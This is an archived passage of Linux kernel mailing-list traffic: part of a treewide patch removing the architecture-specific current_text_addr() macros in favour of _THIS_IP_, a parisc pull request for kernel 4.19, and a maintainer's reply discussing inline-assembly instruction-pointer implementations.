- * instruction pointer ("program counter").
- */
-#define current_text_addr() ({ __label__ _l; _l: &&_l; })
 
 /*
  * User space process size. This is hardcoded into a few places,
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 2dbe5580a1a4..0d7f64ef9c7d 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -20,17 +20,6 @@
 #include <asm/percpu.h>
 #endif /* __ASSEMBLY__ */
 
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#ifdef CONFIG_PA20
-#define current_ia(x)	__asm__("mfia %0" : "=r"(x))
-#else /* mfia added in pa2.0 */
-#define current_ia(x)	__asm__("blr 0,%0\n\tnop" : "=r"(x))
-#endif
-#define current_text_addr() ({ void *pc; current_ia(pc); pc; })
-
 #define HAVE_ARCH_PICK_MMAP_LAYOUT
 
 #define TASK_SIZE_OF(tsk)       ((tsk)->thread.task_size)
diff --git a/arch/powerpc/include/asm/processor.h b/arch/powerpc/include/asm/processor.h
index 52fadded5c1e..1fff74df06e6 100644
--- a/arch/powerpc/include/asm/processor.h
+++ b/arch/powerpc/include/asm/processor.h
@@ -67,12 +67,6 @@ extern int _chrp_type;
 
 #endif /* defined(__KERNEL__) && defined(CONFIG_PPC32) */
 
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#define current_text_addr() ({ __label__ _l; _l: &&_l;})
-
 /* Macros for adjusting thread priority (hardware multi-threading) */
 #define HMT_very_low()   asm volatile("or 31,31,31   # very low priority")
 #define HMT_low()	 asm volatile("or 1,1,1	     # low priority")
diff --git a/arch/riscv/include/asm/processor.h b/arch/riscv/include/asm/processor.h
index 3fe4af8147d2..020e35947060 100644
--- a/arch/riscv/include/asm/processor.h
+++ b/arch/riscv/include/asm/processor.h
@@ -33,12 +33,6 @@
 struct task_struct;
 struct pt_regs;
 
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#define current_text_addr()	({ __label__ _l; _l: &&_l; })
-
 /* CPU-specific state of a task */
 struct thread_struct {
 	/* Callee-saved registers */
diff --git a/arch/s390/include/asm/processor.h b/arch/s390/include/asm/processor.h
index 7f2953c15c37..f8028d37bb18 100644
--- a/arch/s390/include/asm/processor.h
+++ b/arch/s390/include/asm/processor.h
@@ -73,12 +73,6 @@ static inline int test_cpu_flag_of(int flag, int cpu)
 
 #define arch_needs_cpu() test_cpu_flag(CIF_NOHZ_DELAY)
 
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#define current_text_addr() ({ void *pc; asm("basr %0,0" : "=a" (pc)); pc; })
-
 static inline void get_cpu_id(struct cpuid *ptr)
 {
 	asm volatile("stidp %0" : "=Q" (*ptr));
diff --git a/arch/sh/include/asm/processor_32.h b/arch/sh/include/asm/processor_32.h
index 95100d8a0b7b..0e0ecc0132e3 100644
--- a/arch/sh/include/asm/processor_32.h
+++ b/arch/sh/include/asm/processor_32.h
@@ -16,12 +16,6 @@
 #include <asm/types.h>
 #include <asm/hw_breakpoint.h>
 
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#define current_text_addr() ({ void *pc; __asm__("mova	1f, %0\n.align 2\n1:":"=z" (pc)); pc; })
-
 /* Core Processor Version Register */
 #define CCN_PVR		0xff000030
 #define CCN_CVR		0xff000040
diff --git a/arch/sh/include/asm/processor_64.h b/arch/sh/include/asm/processor_64.h
index 777a16318aff..f3d7075648d0 100644
--- a/arch/sh/include/asm/processor_64.h
+++ b/arch/sh/include/asm/processor_64.h
@@ -19,21 +19,6 @@
 #include <asm/types.h>
 #include <cpu/registers.h>
 
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#define current_text_addr() ({ \
-void *pc; \
-unsigned long long __dummy = 0; \
-__asm__("gettr	tr0, %1\n\t" \
-	"pta	4, tr0\n\t" \
-	"gettr	tr0, %0\n\t" \
-	"ptabs	%1, tr0\n\t"	\
-	:"=r" (pc), "=r" (__dummy) \
-	: "1" (__dummy)); \
-pc; })
-
 #endif
 
 /*
diff --git a/arch/sparc/include/asm/processor_32.h b/arch/sparc/include/asm/processor_32.h
index 192493c257fa..3c4bc2189092 100644
--- a/arch/sparc/include/asm/processor_32.h
+++ b/arch/sparc/include/asm/processor_32.h
@@ -7,12 +7,6 @@
 #ifndef __ASM_SPARC_PROCESSOR_H
 #define __ASM_SPARC_PROCESSOR_H
 
-/*
- * Sparc32 implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#define current_text_addr() ({ void *pc; __asm__("sethi %%hi(1f), %0; or %0, %%lo(1f), %0;\n1:" : "=r" (pc)); pc; })
-
 #include <asm/psr.h>
 #include <asm/ptrace.h>
 #include <asm/head.h>
diff --git a/arch/sparc/include/asm/processor_64.h b/arch/sparc/include/asm/processor_64.h
index aac23d4a4ddd..5cf145f18f36 100644
--- a/arch/sparc/include/asm/processor_64.h
+++ b/arch/sparc/include/asm/processor_64.h
@@ -8,12 +8,6 @@
 #ifndef __ASM_SPARC64_PROCESSOR_H
 #define __ASM_SPARC64_PROCESSOR_H
 
-/*
- * Sparc64 implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#define current_text_addr() ({ void *pc; __asm__("rd %%pc, %0" : "=r" (pc)); pc; })
-
 #include <asm/asi.h>
 #include <asm/pstate.h>
 #include <asm/ptrace.h>
diff --git a/arch/unicore32/include/asm/processor.h b/arch/unicore32/include/asm/processor.h
index 4eaa42167667..b772ed1c0f25 100644
--- a/arch/unicore32/include/asm/processor.h
+++ b/arch/unicore32/include/asm/processor.h
@@ -13,12 +13,6 @@
 #ifndef __UNICORE_PROCESSOR_H__
 #define __UNICORE_PROCESSOR_H__
 
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#define current_text_addr() ({ __label__ _l; _l: &&_l; })
-
 #ifdef __KERNEL__
 
 #include <asm/ptrace.h>
diff --git a/arch/x86/include/asm/kexec.h b/arch/x86/include/asm/kexec.h
index f327236f0fa7..86924d594ecd 100644
--- a/arch/x86/include/asm/kexec.h
+++ b/arch/x86/include/asm/kexec.h
@@ -21,6 +21,7 @@
 #ifndef __ASSEMBLY__
 
 #include <linux/string.h>
+#include <linux/kernel.h>
 
 #include <asm/page.h>
 #include <asm/ptrace.h>
@@ -132,7 +133,7 @@ static inline void crash_setup_regs(struct pt_regs *newregs,
 		asm volatile("movl %%cs, %%eax;" :"=a"(newregs->cs));
 		asm volatile("pushfq; popq %0" :"=m"(newregs->flags));
 #endif
-		newregs->ip = (unsigned long)current_text_addr();
+		newregs->ip = _THIS_IP_;
 	}
 }
 
diff --git a/arch/x86/include/asm/processor.h b/arch/x86/include/asm/processor.h
index 682286aca881..20080b303605 100644
--- a/arch/x86/include/asm/processor.h
+++ b/arch/x86/include/asm/processor.h
@@ -42,18 +42,6 @@ struct vm86;
 #define NET_IP_ALIGN	0
 
 #define HBP_NUM 4
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-static inline void *current_text_addr(void)
-{
-	void *pc;
-
-	asm volatile("mov $1f, %0; 1:":"=r" (pc));
-
-	return pc;
-}
 
 /*
  * These alignment constraints are for performance in the vSMP case,
diff --git a/arch/x86/um/asm/processor_32.h b/arch/x86/um/asm/processor_32.h
index c112de81c9e1..5fb1b8449adf 100644
--- a/arch/x86/um/asm/processor_32.h
+++ b/arch/x86/um/asm/processor_32.h
@@ -47,14 +47,6 @@ static inline void arch_copy_thread(struct arch_thread *from,
         memcpy(&to->tls_array, &from->tls_array, sizeof(from->tls_array));
 }
 
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter"). Stolen
- * from asm-i386/processor.h
- */
-#define current_text_addr() \
-	({ void *pc; __asm__("movl $1f,%0\n1:":"=g" (pc)); pc; })
-
 #define current_sp() ({ void *sp; __asm__("movl %%esp, %0" : "=r" (sp) : ); sp; })
 #define current_bp() ({ unsigned long bp; __asm__("movl %%ebp, %0" : "=r" (bp) : ); bp; })
 
diff --git a/arch/x86/um/asm/processor_64.h b/arch/x86/um/asm/processor_64.h
index c3be85205a65..1ef9c21877bc 100644
--- a/arch/x86/um/asm/processor_64.h
+++ b/arch/x86/um/asm/processor_64.h
@@ -31,9 +31,6 @@ static inline void arch_copy_thread(struct arch_thread *from,
 	to->fs = from->fs;
 }
 
-#define current_text_addr() \
-	({ void *pc; __asm__("movq $1f,%0\n1:":"=g" (pc)); pc; })
-
 #define current_sp() ({ void *sp; __asm__("movq %%rsp, %0" : "=r" (sp) : ); sp; })
 #define current_bp() ({ unsigned long bp; __asm__("movq %%rbp, %0" : "=r" (bp) : ); bp; })
 
diff --git a/arch/xtensa/include/asm/processor.h b/arch/xtensa/include/asm/processor.h
index 5b0027d4ecc0..68891c992105 100644
--- a/arch/xtensa/include/asm/processor.h
+++ b/arch/xtensa/include/asm/processor.h
@@ -153,14 +153,6 @@ struct thread_struct {
 	int align[0] __attribute__ ((aligned(16)));
 };
 
-
-/*
- * Default implementation of macro that returns current
- * instruction pointer ("program counter").
- */
-#define current_text_addr()  ({ __label__ _l; _l: &&_l;})
-
-
 /* This decides where the kernel will search for a free chunk of vm
  * space during mmap's.
  */
-- 
2.18.0.865.gffc8e1a3cd6-goog

From - Thu Nov 08 21:41:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc fixes and updates for kernel v4.19
Date: Wed, 22 Aug 2018 21:35:17 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20180822193517.GA31476@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1534966405 533 195.159.176.226 (22 Aug 2018 19:33:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 22 Aug 2018 19:33:25 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 22 21:33:21 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fsYsa-0008Qi-Le
	for glk-linux-kernel-4@m.gmane.org; Wed, 22 Aug 2018 21:33:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728140AbeHVXBk (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 22 Aug 2018 19:01:40 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:37041 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726098AbeHVXBj (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 22 Aug 2018 19:01:39 -0400
Original-Received: from ls3530.fritz.box ([92.116.128.175]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0Mh9yT-1fWLBw0x1d-00MKuY; Wed, 22
 Aug 2018 21:35:21 +0200
Content-Disposition: inline
X-Provags-ID: V03:K1:RCxDjsItM4pA5iUGxsuMj/0qK4pcV7t7bFC8f9iboviG8uNTx0H
 HUYCNKIBf+LsqYQizhUyWTh6sDcj5zNoi32iZt0cWzXe5vJaOLTnGKEsS5Hitas5ofzu+bH
 dIY2EW03q10PPcEliFWLupNyJqikDnHcTnetkqylnxGPg9hUyeL2W4PxqERfhBm2xMDX9AW
 FySHlqGUwPTJ0dLzxyVHw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:nS7o6ddL1qw=:WH6jw5PDhGTG/vjCnfgnJ0
 IiJj6SFTg+iMuvPSkbBseUWQQNBnvYJilsU1q3zHGGP2VOCcLOiCCFBYC7olzBLr+NGYbvDC7
 tHCMjrbq8A2oSaOiqytWa3ogp5iBBrac3wsV0DoS9wxrF37O0+UW7Ac8riOXW5gYu5TXB6NHF
 pU7Ep5gy+5rwRcXbvQ8KelHwAX1SPNGCIF3HWq1GlZp2U4z/O9XNxz4yupcIGv0mQVDHShNV6
 ChWtJ3xbAjTZhRlU7ovXVxOk2pmeK2b3U479/c/vfG5ExjNo8Vz2ucCWxKLpKkv5yvrc4tU/U
 JrhLtXHcVYsxXXuEY+HocJYRkuDe4FScVnWAvhQQZsQKHekeQwZ2/5vC9iixqDLyXeOZnTo2q
 DgMyRPWWikAZBWULagHyhWHnTNm0UFkHEtmv+iPyPG3OvG1WK3ucpt6HTtZAP82MXYMz5X+St
 rV+lkQg5siTXFBkMgYrIBtxSOa/z5yCIJngf6Lf2/mHOLomySZ+6EX7nwaODAJ2doKnH3k1bh
 hmx1NffR53yZ1e/1zgAxo7Vq/5sJDTKJ8xjxTQt4/vF3q8KLDBaqVx0gDHCGVVddP8SLogY4U
 WMK8R4+bxl2vBSnoCAefrBcciFIkX6SZ3t8WQcMXwVBx3/VSW2ugt72Autak6rgvIrXgruWja
 7yngOdTFqnlM+SJr4p/AfD8IPvzhdVC+TcOBkbwL2AfiV6SL4dFzpwHaCMuRqT5GIIMT5LEDf
 fO+xsEmOV+/JeK51XLe9ZO5z198JUEIjgxvCFZoNfhzp1q7akP4wlGJZZ5Q=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2850915 gmane.linux.ports.parisc:28903
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2850915>

Hi Linus,

please pull the second round of fixes and updates in this merge window
for the parisc architecture for kernel 4.19 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.19-2

Changes:
- fix boot failure of 64-bit kernel. It got broken by the unwind
  optimization commit in merge window.
- fix 64-bit userspace support (static 64-bit applications only, e.g. we
  don't yet have 64-bit userspace support in glibc).
- consolidate unwind initialization code.
- add machine model description to stack trace.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (6):
      parisc: Restore possibility to execute 64-bit applications
      parisc: Fix ptraced 64-bit applications to call 64-bit syscalls
      parisc: Update comments in syscall.S regarding wide userland
      parisc: Consolidate unwind initialization calls
      parisc: Fix boot failure of 64-bit kernel
      parisc: Add hardware description to stack traces

 arch/parisc/include/asm/elf.h       |  9 +++--
 arch/parisc/include/asm/linkage.h   |  9 -----
 arch/parisc/include/asm/processor.h |  6 +--
 arch/parisc/include/asm/traps.h     |  4 +-
 arch/parisc/include/asm/unwind.h    |  6 ++-
 arch/parisc/kernel/entry.S          | 79 ++++++++++++++++++-------------------
 arch/parisc/kernel/processor.c      |  2 +
 arch/parisc/kernel/stacktrace.c     | 15 +------
 arch/parisc/kernel/sys_parisc.c     |  5 ---
 arch/parisc/kernel/syscall.S        | 35 +++++++++-------
 arch/parisc/kernel/traps.c          | 37 +++--------------
 arch/parisc/kernel/unwind.c         | 43 ++++++++++++++------
 12 files changed, 113 insertions(+), 137 deletions(-)


From - Thu Nov 08 21:41:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] treewide: remove current_text_addr
Date: Sat, 25 Aug 2018 12:48:37 +0200
Lines: 579
Approved: news@gmane.org
Message-ID: <207784db-4fcc-85e7-a0b2-fec26b7dab81@gmx.de>
References: <CAKwvOdkWL_2yTnJqM6n6R9UCPwY4iz-9BQYGN2MDAk9EzumUvA@mail.gmail.com>
 <20180821202900.208417-1-ndesaulniers@google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1535194259 19866 195.159.176.226 (25 Aug 2018 10:50:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 25 Aug 2018 10:50:59 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>, linux-mips@linux-mips.org,
 linux-sh@vger.kernel.org, Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Will Deacon <will.deacon@arm.com>, Paul Mackerras <paulus@samba.org>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Vasily Gorbik <gor@linux.vnet.ibm.com>, Matt Turner <mattst88@gmail.com>,
 uclinux-h8-devel@lists.sourceforge.jp, Marc Zyngier <marc.zyngier@arm.com>,
 Ram Pai <linuxram@us.ibm.com>, linux-um@lists.infradead.org,
 Nicholas Piggin <npiggin@gmail.com>, Andy Lutomirski <luto@kernel.org>,
 Shannon Nelson <shannon.nelson@oracle.com>, tglx@linutronix.de,
 =?UTF-8?Q?Alex_Benn=c3=a9e?= <alex.bennee@linaro.org>,
 Richard Henderson <rth@twiddle.net>, Jiri Kosina <jkosina@suse.cz>,
 linux-kernel@vger.kerne
To: Nick Desaulniers <ndesaulniers@google.com>,
 torvalds@linux-foundation.org, akpm@linux-foundation.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Aug 25 12:50:44 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1ftW9S-0004pr-S5
	for gla-linux-snps-arc@m.gmane.org; Sat, 25 Aug 2018 12:50:43 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=JnbivzgVXAxw1d9HBwEQ5ejZHxHYeO99MKemw5IrBR8=; b=gCb2qbzFM4/gjO
	WLdV81Jfvr6xTKCAPbRQSOMfk8u+nP4oucT8ummsa20RwiebwwqPrYh9a4nosbIdM260X93Qg5Wgx
	Wwyr+ynhYU4bqOfwWeMMf+FBOfLknhxscKckB0/yzIlVthkFYaP8qB2BCmnAvygCBucWkjzkgExNK
	LYNq5LGS/e1KVeBaGckSraRYjIl2Y7dBdb/4AwTv5a1au9tZvSSYLXijQ95bSBc7TSLkt52B5sV67
	z1SLcGVGknIzdMTsdUPC8/e8x5DVSsdqOvCBM+zkWKCyE1jByO4MK1szA4jv2WyZDr7q2SKw4GjrO
	nlWWaq+AKUrwd1P/oWGQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1ftWBY-0000A2-5s; Sat, 25 Aug 2018 10:52:52 +0000
Original-Received: from mout.gmx.net ([212.227.15.19])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1ftWBT-00008j-8y; Sat, 25 Aug 2018 10:52:50 +0000
Original-Received: from [192.168.20.60] ([92.116.128.156]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MRGTX-1gNX4804tD-00UWoM; Sat, 25
 Aug 2018 12:49:07 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <20180821202900.208417-1-ndesaulniers@google.com>
Content-Language: en-US
X-Provags-ID: V03:K1:TQVxMhqGwVY9ejfXg9b+8lBJETviyUpv7IsvOwVi9WcgnyrEObK
 ifHRqFfSwpfyw8FTh6CVlM/EPZ0gnxj2kTnDgP1EESkknKUWjPmiMn6VkpjYlwHqzA7bRpN
 N3auDnw92xjIJYYta7cUdBbut8P+XeQ1hkKtCQNcIyW3hYMhXKXXsTXOpuUjrH+u/tPq9Xg
 iCVZor/TOPclsQRDfdGYw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:3YwzMKbBL1g=:E3Fqfe92RI88yaiWhfDAYB
 AjAQXw2PhUravOyKc8k25aCEnJ97wY0BWSBh4XYH2MxkW1zzZLC0jfDC/eVKVuqCA7cjEOFqu
 2moLHtkJ0oXtMnE2vxRvmgxN0TWBdbbb3uVVk1kRItmInQAHAQ1hJ4bRcLvafMBcqalJQfvm8
 7pEq6E3HmaL9y37lAr77Py1eB41zEbsUA1OqbQ3JIR1IjNnpTwxjUP6Iy1ncP4vUWGISv25i0
 VhKHKKThLK1LjsmnZr6WfG0GJYkPaViKrsGFZdh2wvqpxXIwYlcyaLdMZQg7iUVLUkrSZ64zX
 fgXjXJCTeDT0iHApo13kTQfx7sACh9muZg+gecVRJq+0TUyX6n+Un+0q0wNQ6GB/j7V/QW0Qn
 7/3lgmdj9hD93b6fsBZsuvL8Yjs+sDGR70+UzshF8bGnJJb7NbGUHVfqoqBxSzSv9g5Xrcafg
 goUniaSSQ6X2bmVohHZbSvS2aVKiYibzcyORDbOmiq9t/izQVotO2UbJXpWFX3aUg4IPxO1i5
 e2rOASJRuZHmyKYSt//LXuylNJCCdNkLmOL4Bn0Cr79G4uny5+8u4Feklxkrzowpe2m+rb4KJ
 ++c74bcNfF4UFyxBmU5RGMsTvpmeGllfm09+J4Su4Rud2kbdrEk6dskWm5d/+VbSKNUa0G2RH
 xt0PCX+LYE4ZLCqGuYW5LYgWy81uq9WfWUT56/qP00ejtvs5pO6QccV6HuRjW3srSngjlEQMx
 DMnY4jHsZ1JPgt+KsMxAq1vU4UjdKOllIMHJwmF5K9SUAuMM0OSSdlTf67s3wPzhNKSniGl0 
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180825_035247_775936_03ED189F 
X-CRM114-Status: GOOD (  23.44  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [212.227.15.19 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (deller[at]gmx.de)
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4217 gmane.linux.ports.mips.general:66179 gmane.linux.ports.sh.devel:57400 gmane.linux.kernel:2853240 gmane.linux.ports.ia64:29115 gmane.linux.ports.hexagon:1812 gmane.linux.ports.arm.kernel:670168 gmane.linux.ports.parisc:28904 gmane.linux.ports.alpha:5201 gmane.linux.ports.sparc:28228 gmane.linux.ports.riscv:529 gmane.linux.ports.ppc64.devel:161651
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4217>

On 21.08.2018 22:28, Nick Desaulniers wrote:
> Prefer _THIS_IP_ defined in linux/kernel.h.
> 
> Most definitions of current_text_addr were the same as _THIS_IP_, but
> a few archs had inline assembly instead.
> 
> This patch removes the final call site of current_text_addr, making all
> of the definitions dead code.
> 
> Signed-off-by: Nick Desaulniers <ndesaulniers@google.com>
> ---
> I suspect that current_text_addr predated GNU C extensions for statement
> expressions and/or taking the address of a label, then the macro was
> reimplemented for every new archs include/asm/processor.h, even though
> there were very few call sites, and none required an assembly
> implementation vs the C implementation.
> 
> I am sad to see a few neat arch specific ways of getting the ip/pc, but
> we should prefer the higher level C in cases where assembly is not
> required. And the definitions can always be found again in git history.

Currently alpha, s390, sparc, sh, c6x, ia64 and parisc provide an
inline assembly function to get the current instruction pointer. 
As mentioned in an earlier thread, I personally would *prefer* if 
_THIS_IP_ would use those inline assembly instructions on those
architectures instead of the (currently used) higher C-level
implementation.

Helge


>  arch/alpha/include/asm/processor.h      |  6 ------
>  arch/arc/include/asm/processor.h        |  8 --------
>  arch/arm/include/asm/processor.h        |  6 ------
>  arch/arm64/include/asm/processor.h      |  7 -------
>  arch/c6x/include/asm/processor.h        | 11 -----------
>  arch/h8300/include/asm/processor.h      |  6 ------
>  arch/hexagon/include/asm/processor.h    |  3 ---
>  arch/ia64/include/asm/processor.h       |  6 ------
>  arch/m68k/include/asm/processor.h       |  6 ------
>  arch/microblaze/include/asm/processor.h | 12 ------------
>  arch/mips/include/asm/processor.h       |  5 -----
>  arch/nds32/include/asm/processor.h      |  6 ------
>  arch/nios2/include/asm/processor.h      |  6 ------
>  arch/openrisc/include/asm/processor.h   |  5 -----
>  arch/parisc/include/asm/processor.h     | 11 -----------
>  arch/powerpc/include/asm/processor.h    |  6 ------
>  arch/riscv/include/asm/processor.h      |  6 ------
>  arch/s390/include/asm/processor.h       |  6 ------
>  arch/sh/include/asm/processor_32.h      |  6 ------
>  arch/sh/include/asm/processor_64.h      | 15 ---------------
>  arch/sparc/include/asm/processor_32.h   |  6 ------
>  arch/sparc/include/asm/processor_64.h   |  6 ------
>  arch/unicore32/include/asm/processor.h  |  6 ------
>  arch/x86/include/asm/kexec.h            |  3 ++-
>  arch/x86/include/asm/processor.h        | 12 ------------
>  arch/x86/um/asm/processor_32.h          |  8 --------
>  arch/x86/um/asm/processor_64.h          |  3 ---
>  arch/xtensa/include/asm/processor.h     |  8 --------
>  28 files changed, 2 insertions(+), 193 deletions(-)
> 
> diff --git a/arch/alpha/include/asm/processor.h b/arch/alpha/include/asm/processor.h
> index cb05d045efe3..6100431da07a 100644
> --- a/arch/alpha/include/asm/processor.h
> +++ b/arch/alpha/include/asm/processor.h
> @@ -10,12 +10,6 @@
>  
>  #include <linux/personality.h>	/* for ADDR_LIMIT_32BIT */
>  
> -/*
> - * Returns current instruction pointer ("program counter").
> - */
> -#define current_text_addr() \
> -  ({ void *__pc; __asm__ ("br %0,.+4" : "=r"(__pc)); __pc; })
> -
>  /*
